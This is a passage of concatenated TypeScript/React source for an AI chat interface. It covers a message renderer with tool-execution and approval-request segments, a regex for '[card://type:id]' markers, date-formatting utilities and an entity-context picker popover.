!(isUser && !avatar) &&\n              (!isUser && assistantIcon && !avatar ? (\n                // Host-supplied brand icon (e.g. Mingo): render it directly,\n                // no filled pill — the icon carries its own brand accent.\n                <div className=\"flex flex-shrink-0 items-center justify-center\">{assistantIcon}</div>\n              ) : (\n                <SquareAvatar {...avatarProps} />\n              ))}\n            <span\n              className={cn(\n                'flex-1 !font-mono !font-medium text-h3',\n                authorType === 'system'\n                  ? 'text-ods-open-yellow'\n                  : authorType === 'admin'\n                    ? 'text-ods-open-yellow'\n                    : authorType === 'mingo'\n                      ? 'text-ods-flamingo-cyan'\n                      : authorType === 'fae'\n                        ? 'text-ods-flamingo-pink'\n                        : 'text-ods-text-secondary',\n              )}\n            >\n              {name || (isUser ? 'User' : assistantType === 'mingo' ? 'Mingo' : 'Fae')}\n              {!isSystem && ':'}\n            </span>\n            {timestamp && (\n              <span className=\"shrink-0 whitespace-nowrap text-ods-text-secondary text-h6\">\n                {formatMessageTimestamp(timestamp)}\n              </span>\n            )}\n          </div>\n\n          {/* Message segments — hidden for system messages without content */}\n          {(!isSystem || segments.length > 0) && (\n            <div className=\"flex flex-col gap-2\">\n              {segments.map((segment, index) => {\n                // The engine's streaming path (atomic-block memoization +\n                // fence tail-completion + aria-live) applies ONLY to the\n                // actively streaming segment: last segment of a message that\n                // is still typing. On completion `isTyping` flips false and\n                // the engine does one authoritative whole-document parse.\n                const segmentIsStreaming = index === segments.length - 1 && !!isTyping;\n                if (segment.type === 'text') {\n                  return (\n                    <div\n                      key={index}\n                      className={cn(\n                        'w-full min-w-0 break-words text-h4',\n                        isError ? 'text-ods-error' : 'text-ods-text-primary',\n                      )}\n                    >\n                      {renderSegmentBody(index, segment.text, segmentIsStreaming)}\n                    </div>\n                  );\n                } else if (segment.type === 'ask') {\n                  // Only the run's head draws — the tail segments are pages of\n                  // the card already rendered above them.\n                  const run = askRuns.get(index);\n                  if (!run) return null;\n                  return <AskDisplay key={index} cards={run} onSelect={onAskSelect} />;\n                } else if (segment.type === 'tool_execution') {\n                  return (\n                    <ToolExecutionDisplay\n                      key={index}\n                      message={segment.data}\n                      assistantType={assistantType}\n                      variant={approvalVariant}\n                    />\n                  );\n                } else if (segment.type === 'approval_request') {\n                  return (\n                    <ApprovalRequestMessage\n                      key={index}\n                      data={segment.data}\n                      status={segment.status}\n                      resolvedByName={segment.resolvedByName}\n                      onApprove={segment.onApprove}\n                      onReject={segment.onReject}\n                      assistantType={assistantType}\n                      variant={approvalVariant}\n                    />\n                  );\n                } else if (segment.type === 'approval_batch') {\n                  return (\n                    <ApprovalBatchMessage\n                      key={index}\n                      data={segment.data}\n                      status={segment.status}\n                      resolvedByName={segment.resolvedByName}\n                      onApprove={segment.onApprove}\n                      onReject={segment.onReject}\n                      assistantType={assistantType}\n                      variant={approvalVariant}\n                    />\n                  );\n                } else if (segment.type === 'escalation_offer') {\n                  return (\n                    <EscalationOfferMessage\n                      key={index}\n                      data={segment.data}\n                      status={segment.status}\n                      resolvedByName={segment.resolvedByName}\n                      onApprove={segment.onApprove}\n                      onReject={segment.onReject}\n                    />\n                  );\n                } else if (segment.type === 'ticket_escalated') {\n                  return <TicketEscalatedMessage key={index} data={segment.data} timestamp={timestamp} />;\n                } else if (segment.type === 'ticket_event') {\n                  // The card's own event time; the bubble timestamp is the\n                  // turn's FIRST row and lags every later lifecycle event.\n                  return (\n                    <TicketEventMessage key={index} data={segment.data} timestamp={segment.occurredAt ?? timestamp} />\n                  );\n                } else if (segment.type === 'error') {\n                  return <ErrorMessageDisplay key={index} title={segment.title} details={segment.details} />;\n                } else if (segment.type === 'context_compaction') {\n                  return <ContextCompactionDisplay key={index} status={segment.status} />;\n                } else if (segment.type === 'thinking') {\n                  const isStreaming = index === segments.length - 1 && isTyping;\n                  return <ThinkingDisplay key={index} text={segment.text} isStreaming={isStreaming} />;\n                }\n                return null;\n              })}\n            </div>\n          )}\n\n          {/* Attached entity-context chips (user bubbles). Read-only — no\n              remove affordance once the message is sent (Figma 31:28709). */}\n          {stripContextItems && stripContextItems.length > 0 && (\n            <ChatContextChipStrip\n              items={stripContextItems}\n              resolveIcon={resolveContextIcon}\n              renderItem={renderContextItem}\n              className=\"mt-2\"\n            />\n          )}\n        </div>\n      </div>\n    );\n  },\n);\n\nChatMessageEnhanced.displayName = 'ChatMessageEnhanced';\n\nconst MemoizedChatMessageEnhanced = memo(ChatMessageEnhanced, (prevProps, nextProps) => {\n  return (\n    prevProps.role === nextProps.role &&\n    prevProps.content === nextProps.content &&\n    prevProps.name === nextProps.name &&\n    prevProps.avatar === nextProps.avatar &&\n    prevProps.isTyping === nextProps.isTyping &&\n    prevProps.timestamp?.getTime() === nextProps.timestamp?.getTime() &&\n    prevProps.showAvatar === nextProps.showAvatar &&\n    prevProps.assistantType === nextProps.assistantType &&\n    prevProps.approvalVariant === nextProps.approvalVariant &&\n    prevProps.authorType === nextProps.authorType &&\n    prevProps.assistantIcon === nextProps.assistantIcon &&\n    prevProps.className === nextProps.className &&\n    // Reference equality — the host re-uses the same array instance per\n    // message (it's set once on the optimistic send and never mutated).\n    prevProps.contextItems === nextProps.contextItems &&\n    prevProps.resolveContextIcon === nextProps.resolveContextIcon &&\n    prevProps.renderContextItem === nextProps.renderContextItem &&\n    // Host keeps this stable (module const / useCallback), so reference\n    // equality holds across streaming chunks.\n    prevProps.renderMention === nextProps.renderMention &&\n    prevProps.renderEntityCard === nextProps.renderEntityCard &&\n    // Reference equality: the reducer sets this once per answer and the host\n    // forwards the same array instance, so it holds across streaming chunks.\n    prevProps.refs === nextProps.refs &&\n    // Same stability contract as the renderers above: hosts pass a `useCallback`\n    // (EmbeddableChat passes its memoized `handleSend`), so this holds across\n    // streaming chunks instead of re-rendering every ask card per chunk.\n    prevProps.onAskSelect === nextProps.onAskSelect &&\n    prevProps.NavLinkAnchor === nextProps.NavLinkAnchor\n  );\n});\n\nMemoizedChatMessageEnhanced.displayName = 'MemoizedChatMessageEnhanced';\n\nexport { MemoizedChatMessageEnhanced as ChatMessageEnhanced };\n","/**\n * The `[card://<type>:<id>]` marker grammar — ONE definition, two readers.\n *\n * The model writes these markers into the answer body, and the metadata frame\n * describes the same references separately. Two parsers therefore have to agree\n * on what counts as a marker: the payload decoder (`source-metadata.ts`) and the\n * body renderer (`chat-message-enhanced.tsx`). When they disagree the failure is\n * silent and one-sided — the stricter side drops a reference the other accepted,\n * and the reader is left looking at raw `[card://…]` text in a sentence.\n *\n * The id half is deliberately permissive: the backend validates it as \"anything\n * but `]` and newlines\", and a client that narrows that is the side that breaks.\n * `)` is excluded on top because the body form also terminates on it (a marker\n * written as a markdown link target).\n *\n * Server-safe: no React, no browser APIs.\n */\n\n/** Entity-type half. A closed vocabulary of slug-shaped names. */\nconst CARD_TYPE = '[a-zA-Z0-9_-]+';\n\n/** Id half — see the permissiveness note above. */\nconst CARD_ID = '[^\\\\]\\\\r\\\\n)]+';\n\n/**\n * A marker standing ALONE, anchored — for validating a `ref` field in the\n * metadata payload, where the whole string must be the marker and nothing else.\n */\nexport const CARD_REFERENCE = new RegExp(`^\\\\[card://(${CARD_TYPE}):(${CARD_ID})\\\\]$`);\n\n/**\n * A marker EMBEDDED in answer text, unanchored and global.\n *\n * Terminates on `]` or `)` so a marker used as a markdown link target\n * (`[card://x:y](…)`) is matched too. Being global, it carries `lastIndex`\n * state — reset it before each scan.\n */\nexport function createCardMarkerScanner(): RegExp {\n  return new RegExp(`\\\\[card://(${CARD_TYPE}):(${CARD_ID})[\\\\])]`, 'g');\n}\n","/**\n * Unified Date Utilities for OpenMSP Platform\n * Provides consistent date formatting across all components\n */\n\n/**\n * Relative display label for a ticket timestamp (ISO string).\n * < 1 min → \"Just now\" | 1-59 min → \"X min ago\" | 1-23 h → \"X hour(s) ago\" | 24+ h → \"MM/DD/YYYY\"\n */\nexport function formatTicketRelativeTime(iso: string): string {\n  const now = new Date();\n  const date = new Date(iso);\n  if (Number.isNaN(date.getTime())) return '';\n  const diffMs = now.getTime() - date.getTime();\n  const diffMin = Math.floor(diffMs / 60_000);\n  if (diffMin < 1) return 'Just now';\n  if (diffMin < 60) return `${diffMin} min ago`;\n  const diffHours = Math.floor(diffMin / 60);\n  if (diffHours < 24) return diffHours === 1 ? '1 hour ago' : `${diffHours} hours ago`;\n  // UTC getters so the MM/DD/YYYY tail is identical on server (UTC) and client\n  // (local) — otherwise React #418 hydration mismatch.\n  const mm = String(date.getUTCMonth() + 1).padStart(2, '0');\n  const dd = String(date.getUTCDate()).padStart(2, '0');\n  const yyyy = date.getUTCFullYear();\n  return `${mm}/${dd}/${yyyy}`;\n}\n\n/**\n * Full tooltip timestamp in \"MM/DD/YYYY, H:MM AM/PM\" format.\n */\nexport function formatTicketFullTimestamp(iso: string): string {\n  const date = new Date(iso);\n  if (Number.isNaN(date.getTime())) return '';\n  // UTC getters so the tooltip timestamp is identical on server (UTC) and\n  // client (local) — otherwise React #418 hydration mismatch.\n  const mm = String(date.getUTCMonth() + 1).padStart(2, '0');\n  const dd = String(date.getUTCDate()).padStart(2, '0');\n  const yyyy = date.getUTCFullYear();\n  let hours = date.getUTCHours();\n  const minutes = String(date.getUTCMinutes()).padStart(2, '0');\n  const ampm = hours >= 12 ? 'PM' : 'AM';\n  hours = hours % 12 || 12;\n  return `${mm}/${dd}/${yyyy}, ${hours}:${minutes} ${ampm}`;\n}\n\n/**\n * Format relative time from ISO timestamp\n * This is the single source of truth for all relative time formatting\n *\n * @param timestamp - ISO timestamp string or Date object\n * @returns Formatted relative time string\n *\n * @example\n * formatRelativeTime('2024-01-01T12:00:00Z') // '2 hours ago'\n * formatRelativeTime(new Date()) // 'Just now'\n */\nexport function formatRelativeTime(timestamp: string | Date): string {\n  const now = new Date();\n  const targetTime = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n\n  // Validate the date\n  if (isNaN(targetTime.getTime())) {\n    console.warn('⚠️ Invalid timestamp in formatRelativeTime:', timestamp);\n    return 'Unknown time';\n  }\n\n  const diffInMs = now.getTime() - targetTime.getTime();\n  const diffInMinutes = Math.floor(diffInMs / (1000 * 60));\n\n  // Handle future dates (should not happen but graceful fallback)\n  if (diffInMinutes < 0) {\n    return 'Just now';\n  }\n\n  // Less than 1 minute\n  if (diffInMinutes < 1) return 'Just now';\n\n  // 1-59 minutes\n  if (diffInMinutes < 60) return `${diffInMinutes}m ago`;\n\n  // 1-23 hours\n  const diffInHours = Math.floor(diffInMinutes / 60);\n  if (diffInHours < 24) return `${diffInHours}h ago`;\n\n  // 1-6 days\n  const diffInDays = Math.floor(diffInHours / 24);\n  if (diffInDays < 7) return `${diffInDays}d ago`;\n\n  // 1-4 weeks\n  if (diffInDays < 30) {\n    const weeks = Math.floor(diffInDays / 7);\n    return `${weeks}w ago`;\n  }\n\n  // Older than 30 days - show formatted date, pinned to UTC so SSR (UTC) and\n  // the client agree (React #418). Year comparison also uses UTC for the same\n  // reason (avoids a server/client split right at a year boundary).\n  return targetTime.toLocaleDateString('en-US', {\n    month: 'short',\n    day: 'numeric',\n    year: targetTime.getUTCFullYear() !== now.getUTCFullYear() ? 'numeric' : undefined,\n    timeZone: 'UTC',\n  });\n}\n\n/**\n * Format absolute date for display\n *\n * @param timestamp - ISO timestamp string or Date object\n * @param options - Intl.DateTimeFormatOptions for customization\n * @returns Formatted date string\n */\nexport function formatAbsoluteDate(timestamp: string | Date, options: Intl.DateTimeFormatOptions = {}): string {\n  const targetTime = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n\n  if (isNaN(targetTime.getTime())) {\n    console.warn('⚠️ Invalid timestamp in formatAbsoluteDate:', timestamp);\n    return 'Invalid date';\n  }\n\n  const defaultOptions: Intl.DateTimeFormatOptions = {\n    year: 'numeric',\n    month: 'short',\n    day: 'numeric',\n    // Pin to UTC so SSR (Vercel = UTC) and the client agree (React #418).\n    // Caller can override via `options`.\n    timeZone: 'UTC',\n    ...options,\n  };\n\n  return targetTime.toLocaleDateString('en-US', defaultOptions);\n}\n\n/**\n * Format timestamp with time included\n *\n * @param timestamp - ISO timestamp string or Date object\n * @param options - Intl.DateTimeFormatOptions for customization\n * @returns Formatted datetime string\n */\nexport function formatDateTime(timestamp: string | Date, options: Intl.DateTimeFormatOptions = {}): string {\n  const targetTime = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n\n  if (isNaN(targetTime.getTime())) {\n    console.warn('⚠️ Invalid timestamp in formatDateTime:', timestamp);\n    return 'Invalid date';\n  }\n\n  const defaultOptions: Intl.DateTimeFormatOptions = {\n    year: 'numeric',\n    month: 'short',\n    day: 'numeric',\n    hour: 'numeric',\n    minute: '2-digit',\n    // Pin to UTC so SSR (Vercel = UTC) and the client agree (React #418).\n    // Caller can override via `options`.\n    timeZone: 'UTC',\n    ...options,\n  };\n\n  return targetTime.toLocaleDateString('en-US', defaultOptions);\n}\n\n/**\n * Get time difference in human readable format (detailed)\n *\n * @param timestamp - ISO timestamp string or Date object\n * @returns Detailed time difference string\n */\nexport function getDetailedTimeDifference(timestamp: string | Date): string {\n  const now = new Date();\n  const targetTime = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n\n  if (isNaN(targetTime.getTime())) {\n    return 'Invalid date';\n  }\n\n  const diffInMs = now.getTime() - targetTime.getTime();\n  const diffInSeconds = Math.floor(diffInMs / 1000);\n  const diffInMinutes = Math.floor(diffInSeconds / 60);\n  const diffInHours = Math.floor(diffInMinutes / 60);\n  const diffInDays = Math.floor(diffInHours / 24);\n\n  if (diffInSeconds < 60) return `${diffInSeconds} seconds ago`;\n  if (diffInMinutes < 60) return `${diffInMinutes} minutes ago`;\n  if (diffInHours < 24) return `${diffInHours} hours ago`;\n  if (diffInDays < 30) return `${diffInDays} days ago`;\n\n  const diffInMonths = Math.floor(diffInDays / 30);\n  if (diffInMonths < 12) return `${diffInMonths} months ago`;\n\n  const diffInYears = Math.floor(diffInDays / 365);\n  return `${diffInYears} years ago`;\n}\n\n/**\n * Check if a timestamp is today\n */\nexport function isToday(timestamp: string | Date): boolean {\n  const today = new Date();\n  const targetTime = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n\n  return today.toDateString() === targetTime.toDateString();\n}\n\n/**\n * Check if a timestamp is within the last N minutes\n */\nexport function isWithinMinutes(timestamp: string | Date, minutes: number): boolean {\n  const now = new Date();\n  const targetTime = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n  const diffInMs = now.getTime() - targetTime.getTime();\n  const diffInMinutes = diffInMs / (1000 * 60);\n\n  return diffInMinutes <= minutes && diffInMinutes >= 0;\n}\n\n/**\n * Create a UTC timestamp string for database insertion\n */\nexport function createUTCTimestamp(): string {\n  return new Date().toISOString();\n}\n","'use client';\n\n/**\n * Entity-context picker for the chat composer (Figma nodes 31:28312 /\n * 31:28708 / 31:28709 / 1:5699). Three pieces, all driven by the host's\n * `ChatContextPickerConfig`:\n *\n *   1. `<ChatComposerPlusMenu>` — the `+` button → small menu\n *      (Upload File / Assign Item). \"Assign Item\" opens the picker.\n *   2. `<ChatContextPicker>` — the two-level popover, rendered ABOVE the\n *      input (same `absolute bottom-full` placement as the slash-command\n *      suggestions). Level 1 = entity-type list; level 2 = a searchable\n *      multi-select of that type's items, with a ✓ on the chosen ones.\n *   3. `<ChatContextChipStrip>` — the removable selected-item chips,\n *      rendered above the input (mirrors `ChatAttachmentChipStrip`).\n *\n * The library owns ONLY the UI + selection state plumbing. Every item comes\n * from the host's `config.search(type, query, signal)` resolver — the lib\n * never knows a device from a script. All colors are ODS tokens.\n */\n\nimport { QueryErrorResetBoundary } from '@tanstack/react-query';\nimport { Fragment, Suspense, useCallback, useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react';\nimport type { ReactNode } from 'react';\nimport { cn } from '../../utils/cn';\nimport { Chevron02LeftIcon } from '../icons-v2-generated/arrows/chevron-02-left-icon';\nimport { PackagePlusIcon } from '../icons-v2-generated/coding/package-plus-icon';\nimport { SearchIcon } from '../icons-v2-generated/interface/search-icon';\nimport { Upload02Icon } from '../icons-v2-generated/interface/upload-02-icon';\nimport { PlusIcon } from '../icons-v2-generated/signs-and-symbols/plus-icon';\nimport { XmarkCircleIcon } from '../icons-v2-generated/signs-and-symbols/xmark-circle-icon';\nimport {\n  CONTEXT_BACK_CLASS,\n  CONTEXT_STATE_CLASS,\n  ContextErrorBoundary,\n  ContextItemsSkeleton,\n  ContextMenuRow,\n} from './context-items-list';\nimport type { ChatContextEntityType, ChatContextItem, ChatContextPickerConfig } from './types/context-item.types';\n\n/** Default ceiling on selected context items (Figma spec). */\nexport const CHAT_CONTEXT_ITEMS_DEFAULT_MAX = 10;\n\n/** Skeleton row count for the items Suspense fallback. */\nconst ITEMS_SKELETON_ROWS = 10;\n\n/** Debounce (ms) before the typed query is handed to `renderItems`. */\nconst SEARCH_DEBOUNCE_MS = 300;\n\nconst itemKey = (item: { type: string; id: string }) => `${item.type}:${item.id}`;\n\n// ===========================================================================\n// `+` TRIGGER — opens the single context dropdown (Figma node 31:28275)\n// ===========================================================================\n\nexport interface ChatComposerPlusMenuProps {\n  /** Toggle the entity-context picker open/closed. */\n  onToggle: () => void;\n  /** Whether the picker is currently open (drives the lit/yellow state). */\n  open?: boolean;\n  /** Disable the trigger (e.g. while streaming). */\n  disabled?: boolean;\n  /** The context dropdown — rendered anchored to THIS button (so the popover\n   *  aligns to the `+`, not the whole input). Pass `<ChatContextPicker>`. */\n  dropdown?: ReactNode;\n}\n\n/**\n * The composer `+` button (Figma node 31:28275 — sits INSIDE the input as a\n * start adornment). Per the Figma annotation on 31:28312 (\"don't show for\n * first version — show dropdown with item types\"), there is NO intermediate\n * \"Upload File / Assign Item\" menu: the `+` opens the single `ChatContextPicker`\n * dropdown (type list → searchable items) directly.\n *\n * The 24×24 glyph is grey at rest, WHITE on hover of the glyph itself, and\n * accent-yellow while pressed or while the dropdown is open. `data-context-\n * trigger` lets the picker's outside-click handler ignore clicks on this button\n * so toggling works cleanly.\n */\nexport function ChatComposerPlusMenu({\n  onToggle,\n  open = false,\n  disabled = false,\n  dropdown,\n}: ChatComposerPlusMenuProps) {\n  return (\n    // `relative` so the dropdown anchors to the button itself (bottom-full),\n    // aligning the popover to the `+` rather than the input row.\n    <span className=\"relative inline-flex\">\n      <button\n        type=\"button\"\n        data-context-trigger=\"\"\n        disabled={disabled}\n        aria-label=\"Add context\"\n        aria-expanded={open}\n        title=\"Add context\"\n        onClick={onToggle}\n        className={cn(\n          'flex h-6 w-6 shrink-0 items-center justify-center rounded outline-none transition-colors',\n          open ? 'text-ods-accent' : 'text-ods-text-secondary hover:text-ods-text-primary active:text-ods-accent',\n          'focus-visible:text-ods-text-primary disabled:cursor-not-allowed disabled:opacity-40',\n        )}\n      >\n        <PlusIcon className=\"h-6 w-6\" />\n      </button>\n      {dropdown}\n    </span>\n  );\n}\n\n// ===========================================================================\n// PICKER — two-level popover (Figma nodes 31:28708 / 31:28709)\n// ===========================================================================\n\nexport interface ChatContextPickerProps {\n  /** When false the popover renders nothing. */\n  open: boolean;\n  config: ChatContextPickerConfig;\n  /** Currently-selected items (drives the ✓ state in the list). */\n  selectedItems: ChatContextItem[];\n  /** Toggle an item in/out of the selection. */\n  onToggleItem: (item: ChatContextItem) => void;\n  /** Close the popover (Escape, outside-click, header X). */\n  onClose: () => void;\n  /**\n   * Query seeded from the `@`-mention trigger. Filters the entity-type list\n   * while the picker sits on level 1; consumed when a type is opened.\n   */\n  mentionQuery?: string | null;\n  className?: string;\n}\n\n// Single dropdown, three nested levels (Figma 31:28312 → 31:28708 → 31:29102):\n//   root  = Upload File / Assign Item\n//   types = Back + entity-type list\n//   items = Back + search + selectable items\ntype PickerView = 'root' | 'types' | 'items';\n\nexport function ChatContextPicker({\n  open,\n  config,\n  selectedItems,\n  onToggleItem,\n  onClose,\n  mentionQuery,\n  className,\n}: ChatContextPickerProps) {\n  const [view, setView] = useState<PickerView>('root');\n  const [activeType, setActiveType] = useState<ChatContextEntityType | null>(null);\n  const [query, setQuery] = useState(''); // immediate search-field value\n  const [debouncedQuery, setDebouncedQuery] = useState(''); // handed to renderItems\n\n  const rootRef = useRef<HTMLDivElement>(null);\n  const searchRef = useRef<HTMLInputElement>(null);\n\n  const maxItems = config.maxItems ?? CHAT_CONTEXT_ITEMS_DEFAULT_MAX;\n  const atLimit = selectedItems.length >= maxItems;\n\n  const selectedKeys = useMemo(() => new Set(selectedItems.map(itemKey)), [selectedItems]);\n\n  // The open/close reset reads `mentionQuery` as it stands AT THAT MOMENT, so\n  // it must not be a dependency: as one it would re-run the whole reset on\n  // every keystroke of an active `@` filter and throw away the drilled-in view.\n  const mentionQueryRef = useRef(mentionQuery);\n  useEffect(() => {\n    mentionQueryRef.current = mentionQuery;\n  });\n\n  // Reset on open AND close (close pre-resets so the next open's first paint is\n  // the initial view, not the stale level — avoids a flash).\n  useEffect(() => {\n    setView(open && mentionQueryRef.current != null ? 'types' : 'root');\n    setActiveType(null);\n    setQuery('');\n    setDebouncedQuery('');\n  }, [open]);\n\n  // If `@` starts filtering while still on the root menu, drill into the types.\n  // Done while rendering, not from an effect: the keystroke that started the\n  // filter has already scheduled this render, so drilling here means the types\n  // list is what that render paints instead of the root menu flashing first.\n  // Self-terminating (`view` is no longer `'root'`), so the extra render pass\n  // React schedules takes the early exit.\n  if (open && mentionQuery != null && view === 'root') setView('types');\n\n  // Outside-click + Escape close. Registered only while open.\n  useEffect(() => {\n    if (!open) return undefined;\n    const onDocDown = (e: MouseEvent) => {\n      const target = e.target as Element | null;\n      // Ignore clicks on the `+` trigger — it owns the open/close toggle.\n      if (rootRef.current?.contains(target) || target?.closest?.('[data-context-trigger]')) return;\n      onClose();\n    };\n    document.addEventListener('mousedown', onDocDown);\n    return () => document.removeEventListener('mousedown', onDocDown);\n  }, [open, onClose]);\n\n  // Focus the search field when entering the items view.\n  useEffect(() => {\n    if (!open || view !== 'items') return undefined;\n    const id = requestAnimationFrame(() => searchRef.current?.focus());\n    return () => cancelAnimationFrame(id);\n  }, [open, view]);\n\n  // Debounce the typed query before handing it to the host's `renderItems`\n  // (which keys its hooks on it) — keeps the data layer off every keystroke.\n  useEffect(() => {\n    const handle = setTimeout(() => setDebouncedQuery(query.trim()), SEARCH_DEBOUNCE_MS);\n    return () => clearTimeout(handle);\n  }, [query]);\n\n  // Cap the popover to the space ACTUALLY visible above the `+` button. The\n  // popover is `bottom-full`-anchored, so its bounding-rect bottom equals the\n  // button top. The usable TOP is NOT the viewport top — the chat lives inside a\n  // panel/drawer whose body clips overflow below its header — so we measure to the\n  // nearest scroll/clip ancestor's top, not the window. Height = (button top) −\n  // (clip-container top) − gap; the popover then scrolls within that slice.\n  // Re-measured on open, view change, resize, and once after the Drawer open\n  // animation settles (rAF + delayed pass) so we don't lock a mid-animation value.\n  const [measuredMaxH, setAvailMaxH] = useState<number | undefined>(undefined);\n  // A closed popover has no measurement — that is a fact about `open`, so it is\n  // masked here rather than written back into state from the layout effect\n  // (which is also why the next open starts from the `max-h-[70vh]` fallback\n  // instead of briefly re-using the slice measured for the previous position).\n  const availMaxH = open ? measuredMaxH : undefined;\n  useLayoutEffect(() => {\n    if (!open) return undefined;\n    const measure = () => {\n      const el = rootRef.current;\n      if (!el) return;\n      const bottom = el.getBoundingClientRect().bottom;\n      // Find the nearest ancestor that clips overflow — that top edge, not the\n      // window's, is where the popover starts getting hidden.\n      let clipTop = 0;\n      for (let p = el.parentElement; p; p = p.parentElement) {\n        const oy = getComputedStyle(p).overflowY;\n        if (oy === 'auto' || oy === 'scroll' || oy === 'hidden') {\n          clipTop = p.getBoundingClientRect().top;\n          break;\n        }\n      }\n      setAvailMaxH(Math.max(180, Math.floor(bottom - clipTop - 12)));\n    };\n    measure();\n    const raf = requestAnimationFrame(measure);\n    const settle = setTimeout(measure, 320);\n    window.addEventListener('resize', measure);\n    return () => {\n      cancelAnimationFrame(raf);\n      clearTimeout(settle);\n      window.removeEventListener('resize', measure);\n    };\n  }, [open, view]);\n\n  const openType = useCallback((type: ChatContextEntityType) => {\n    setActiveType(type);\n    setQuery('');\n    setDebouncedQuery('');\n    setView('items');\n  }, []);\n\n  const backToTypes = useCallback(() => {\n    setActiveType(null);\n    setQuery('');\n    setDebouncedQuery('');\n    setView('types');\n  }, []);\n\n  // Filter the type list by the `@`-mention query (level 1 only).\n  const typeFilter = (mentionQuery ?? '').trim().toLowerCase();\n  const visibleTypes = useMemo(\n    () =>\n      typeFilter ? config.entityTypes.filter(t => t.label.toLowerCase().includes(typeFilter)) : config.entityTypes,\n    [config.entityTypes, typeFilter],\n  );\n\n  if (!open) return null;\n\n  return (\n    <div\n      ref={rootRef}\n      role=\"dialog\"\n      aria-label=\"Add context\"\n      // `maxHeight` is measured to the real gap above the `+` button (see effect),\n      // so the popover always fits the available slice; `max-h-[70vh]` is the\n      // pre-measurement fallback. The popover itself scrolls (`overflow-y-auto`)\n      // when its content can't fit that height — no fragile flex-1 chains.\n      style={{ maxHeight: availMaxH }}\n      className={cn(\n        // Anchored to the `+` button (its `relative` parent): left edge aligns\n        // to the button, `bottom-full` floats it just above with a 4px gap.\n        'absolute bottom-full left-0 z-50 mb-1 flex max-h-[70vh] w-[320px] max-w-[90vw] flex-col overflow-y-auto overflow-x-hidden overscroll-contain',\n        // Mirror `DropdownMenuContent` chrome (border / card bg / shadow-md).\n        'rounded-md border border-ods-border bg-ods-card text-ods-text-primary shadow-md',\n        className,\n      )}\n      // Keep textarea focus from being stolen on internal pointer interactions\n      // that aren't real selections (e.g. scrollbar drags).\n      onKeyDown={e => {\n        if (e.key === 'Escape') {\n          e.preventDefault();\n          onClose();\n        }\n      }}\n    >\n      {view === 'root' ? (\n        /* Level 0 — Upload File / Assign Item (Figma 31:28312). */\n        <div role=\"menu\" aria-label=\"Add context\">\n          {config.onUploadFile && (\n            <ContextMenuRow\n              icon={<Upload02Icon size={24} />}\n              label=\"Upload File\"\n              onClick={() => config.onUploadFile?.()}\n            />\n          )}\n          <ContextMenuRow icon={<PackagePlusIcon size={24} />} label=\"Assign Item\" onClick={() => setView('types')} />\n        </div>\n      ) : view === 'types' ? (\n        /* Level 1 — Back + entity-type list (Figma 31:28708). Back stays pinned;\n           the type list scrolls if it can't fit the capped popover height. */\n        <div role=\"menu\" aria-label=\"Context types\" className=\"flex flex-col\">\n          <button\n            type=\"button\"\n            onClick={() => setView('root')}\n            // Pinned while the popover body scrolls (the root is the scroll\n            // container) — `bg-ods-bg` keeps rows from showing through.\n            className={cn(CONTEXT_BACK_CLASS, 'sticky top-0 z-10')}\n          >\n            <Chevron02LeftIcon size={24} className=\"shrink-0\" />\n            <span className=\"truncate\">Back</span>\n          </button>\n          {visibleTypes.length === 0 ? (\n            <div className={CONTEXT_STATE_CLASS}>No matching types</div>\n          ) : (\n            visibleTypes.map(type => (\n              <ContextMenuRow key={type.type} icon={type.icon} label={type.label} onClick={() => openType(type)} />\n            ))\n          )}\n        </div>\n      ) : activeType ? (\n        /* Level 2 — Back + search + HOST-rendered items (Figma 31:29102). */\n        <>\n          <button type=\"button\" onClick={backToTypes} className={cn(CONTEXT_BACK_CLASS, 'sticky top-0 z-10')}>\n            <Chevron02LeftIcon size={24} className=\"shrink-0\" />\n            <span className=\"truncate\">Back</span>\n          </button>\n\n          <div className=\"flex shrink-0 items-center gap-2 border-b border-ods-border bg-ods-card p-3\">\n            <SearchIcon className=\"size-4 shrink-0 text-ods-text-secondary md:size-6\" />\n            <input\n              ref={searchRef}\n              value={query}\n              onChange={e => setQuery(e.target.value)}\n              placeholder={`Search for ${activeType.label}`}\n              className=\"min-w-0 flex-1 bg-transparent font-medium leading-6 text-ods-text-primary outline-none text-h4 placeholder:text-ods-text-secondary\"\n            />\n          </div>\n\n          {/* Items are HOST-rendered (data via the host's own hooks → a\n              `<ContextItemsList>`). Initial load → Suspense skeleton; a failed\n              fetch → the error row with a Retry. The boundary resets when\n              type/query changes; Retry also resets react-query's cached suspense\n              error (`reset()`) so re-opening the SAME type+query refetches. */}\n          <QueryErrorResetBoundary>\n            {({ reset }) => (\n              <ContextErrorBoundary\n                resetKey={`${activeType.type}:${debouncedQuery}`}\n                fallback={retry => (\n                  <div className=\"flex items-center justify-between gap-2 bg-ods-bg px-4 py-3 text-ods-attention-red-error text-h4\">\n                    <span>Failed to load</span>\n                    <button\n                      type=\"button\"\n                      onClick={() => {\n                        reset();\n                        retry();\n                      }}\n                      className=\"shrink-0 underline outline-none hover:text-ods-text-primary focus-visible:text-ods-text-primary\"\n                    >\n                      Retry\n                    </button>\n                  </div>\n                )}\n              >\n                <Suspense\n                  fallback={\n                    <div className=\"max-h-[340px] overflow-hidden\">\n                      <ContextItemsSkeleton count={ITEMS_SKELETON_ROWS} />\n                    </div>\n                  }\n                >\n                  {config.renderItems({\n                    type: activeType.type,\n                    query: debouncedQuery,\n                    selectedKeys,\n                    onToggle: onToggleItem,\n                    atLimit,\n                  })}\n                </Suspense>\n              </ContextErrorBoundary>\n            )}\n          </QueryErrorResetBoundary>\n        </>\n      ) : null}\n    </div>\n  );\n}\n\n// ===========================================================================\n// CHIP STRIP — selected items above the input (Figma node 1:5699)\n// ===========================================================================\n\nexport interface ChatContextChipStripProps {\n  items: ChatContextItem[];\n  /** Remove handler. When omitted the chips are read-only (message bubble). */\n  onRemove?: (item: ChatContextItem) => void;\n  /** Lead icon resolver, e.g. the entity-type icon. Optional. */\n  resolveIcon?: (item: ChatContextItem) => ReactNode;\n  /**\n   * Optional host renderer that REPLACES the default label-only pill for an\n   * item — e.g. a self-fetching entity chip that resolves its own live display\n   * name by id, identical to an inline `@marker:id` mention. Return\n   * `null`/`undefined` for an item to fall back to the default pill. The lib\n   * owns no entity 